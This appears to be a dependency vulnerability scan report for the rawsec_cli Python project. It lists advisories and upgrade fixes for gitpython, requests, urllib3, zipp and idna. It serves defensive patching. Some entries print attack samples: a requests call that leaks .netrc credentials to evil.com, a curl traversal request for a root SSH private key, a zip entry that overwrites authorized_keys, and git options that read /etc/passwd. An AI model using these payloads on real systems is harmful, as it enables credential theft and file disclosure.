  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.59.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the Repo.blame() and Repo.blame_incremental() option check in git/repo/base.py. An attacker can read local files by supplying a blame revision such as --contents=/etc/passwd or -S=/path/to/file, which git blame echoes into the blame output returned to the caller. The vulnerable guard only screened revision options against a denylist that did not include these file-reading blame options, so applications that forward user-controlled revision strings into Repo.blame() or Repo.blame_incremental() expose host-file contents at the privileges of the process.

Remediation

Upgrade GitPython to version 3.1.59 or higher.

References

high severity
new

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.60.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection through the high-level diff API in git/diff.py and git/repo/base.py. An attacker can turn repo.index.diff(..., no_index=True) into a blind local-file content oracle by supplying --no-index together with attacker-chosen paths and an -I/--ignore-matching-lines pattern. This lets the child git process treat the supplied operands as arbitrary filesystem paths, exposing local file content through distinguishable success-or-error responses and allowing repeated queries to recover secrets readable by the process running GitPython.

Remediation

Upgrade GitPython to version 3.1.60 or higher.

References

high severity

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.57.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path in the Repo.archive. An attacker can access arbitrary files on the filesystem by supplying specially crafted options that are not properly denied by the existing guard, such as --add-file or --add-virtual-file, which allow reading files outside the intended repository and including their contents in the generated archive.

Remediation

Upgrade GitPython to version 3.1.57 or higher.

References

high severity

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.58.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path via the handling of submodule names in the .gitmodules configuration. An attacker can cause arbitrary directories and Git repositories to be created outside the intended working tree by supplying a crafted submodule name containing directory traversal sequences. This can lead to unauthorized modification of the filesystem and potential disruption of system integrity when a victim clones a malicious repository and initializes submodules.

Remediation

Upgrade GitPython to version 3.1.58 or higher.

References

high severity

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.58.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path in the remove and checkout functions. An attacker can access the contents of arbitrary files by supplying crafted arguments to these functions, causing the entire file contents to be returned in error messages.

Remediation

Upgrade GitPython to version 3.1.58 or higher.

References

high severity
new

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.59.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path via the TagReference.create() function in git/refs/tag.py. An attacker can read local files by supplying a positional reference value such as --file=<path> when an application passes user-controlled input into TagReference.create(); git tag treats that value as a file-reading option and returns the file contents in the annotated tag message.

Remediation

Upgrade GitPython to version 3.1.59 or higher.

References

medium severity

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.57.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path in the Repo.archive. An attacker can access arbitrary files on the filesystem by supplying specially crafted options that are not properly denied by the existing guard, such as --add-file or --add-virtual-file, which allow reading files outside the intended repository and including their contents in the generated archive.

Remediation

Upgrade GitPython to version 3.1.57 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: click@8.0.4

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli click@8.0.4 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to click@8.2.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1
    Remediation: Upgrade to requests@2.31.0.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 urllib3@1.26.20
    Remediation: Upgrade to requests@2.32.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1
    Remediation: Upgrade to requests@2.32.4.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1
    Remediation: Upgrade to requests@2.32.2.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.56.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the Commit.count function. An attacker can cause arbitrary files to be truncated to zero bytes by injecting the output argument, leading to loss of data integrity and availability.

Remediation

Upgrade GitPython to version 3.1.56 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.35.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Directory Traversal due to improper validation of the final path. Although this vulnerability cannot be used to read the contents of files, it could potentially be used to trigger a denial of service for the program.

PoC

import git

r = git.Repo(".")

# This will make GitPython read the README.md file from the root of the repo
r.commit("../README.md")
r.tree("../README.md")
r.index.diff("../README.md")

# Reading /etc/random
# WARNING: this will probably halt your system, run with caution
# r.commit("../../../../../../../../../dev/random")

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade GitPython to version 3.1.35 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: idna
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 idna@3.10
    Remediation: Upgrade to requests@2.32.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

medium severity

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1
    Remediation: Upgrade to requests@2.33.0.

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 certifi@2026.7.22

MPL-2.0 license